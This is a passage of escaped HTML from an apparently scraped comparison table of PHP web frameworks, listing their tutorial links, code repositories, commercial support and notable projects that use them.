title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://phpixie.com/tutorials/learn-phpixie-in-30-minutes/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;phpixie.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.ppi.io/docs&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.ppi.io/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://solarphp.com/manual/blog-demo&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;solarphp.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://symfony.com/doc/current/quick_tour/index.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;symfony.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.yiiframework.com/doc/blog/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;yiiframework.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://framework.zend.com/manual/en/learning.quickstart.intro.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;zend.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_38&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v39_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v39_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v39_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v39_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Github / Bitbucket / Sourceforge&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://github.com/atk4/atk4/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/cakephp/cakephp&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/ClanCats/Framework&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/EllisLab/CodeIgniter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/EllisLab/CodeIgniter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/bcosca/fatfree&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/fuel&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/laravel/laravel&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/laravel/laravel&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://projets.developpez.com/projects/mkframework&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;developpez.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/thecodingmachine/mouf&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://code.google.com/p/openbiz-cubi&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;google.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/phalcon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/dracony/PHPixie&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/symfony/symfony&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/yiisoft/yii&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_39&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;https://github.com/zikula&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;github.com/...&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v40_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v40_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v40_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v40_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Commercial Support&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; http://agiletech.ie/&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; http://cakedc.com&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; www.expressionengine.com&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; www.expressionengine.com&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scNo&quot;&gt;No&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scNo&quot;&gt;No&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; http://www.openbiz.me&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; http://symfony.com/services/support&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; http://www.clevertech.biz/blog/yii/&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; http://www.zend.com/en/support-center/support/&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_40&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v41_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v41_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v41_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v41_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Notable projects using it&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Hot Scripts, Affilorama...&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;golfimport.ch clancats.com&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://expressionengine.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://expressionengine.com&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://skyclerk.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://skyclerk.com/&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://expressionengine.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://expressionengine.com&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://skyclerk.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://skyclerk.com/&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://fatfree.sf.net/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://fatfree.sf.net&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;HaveFnuBB forum project : &lt;a class=&quot;sclink&quot; href=&quot;http://www.havefnubb.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.havefnubb.org&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://dupot.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://dupot.org&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://supercapote.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://supercapote.com&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://packanalyst.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://packanalyst.com/&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://www.pathefilms.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.pathefilms.com/&lt;/a&gt;
&lt;a class=&quot;sclink&quot; href=&quot;http://www.wabel.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.wabel.com/&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://www.webikeo.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.webikeo.com/&lt;/a&gt; and many more!&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.bestbuys.com%2C/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.bestbuys.com,&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://www.joined.com%2C/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.joined.com,&lt;/a&gt; many many more&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Dailymotion:&lt;br /&gt;
&lt;a class=&quot;sclink&quot; href=&quot;http://symfony.com/blog/dailymotion-powered-by-symfony&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://symfony.com/blog/dailymotion-powered-by-symfony&lt;/a&gt;&lt;br /&gt;
Drupal 8&lt;br /&gt;
eZ Publish 5&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;a class=&quot;sclink&quot; href=&quot;http://www.stay.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.stay.com&lt;/a&gt; &lt;a class=&quot;sclink&quot; href=&quot;http://www.fictioncity.net/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.fictioncity.net&lt;/a&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_41&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v42_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v42_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v42_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v42_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
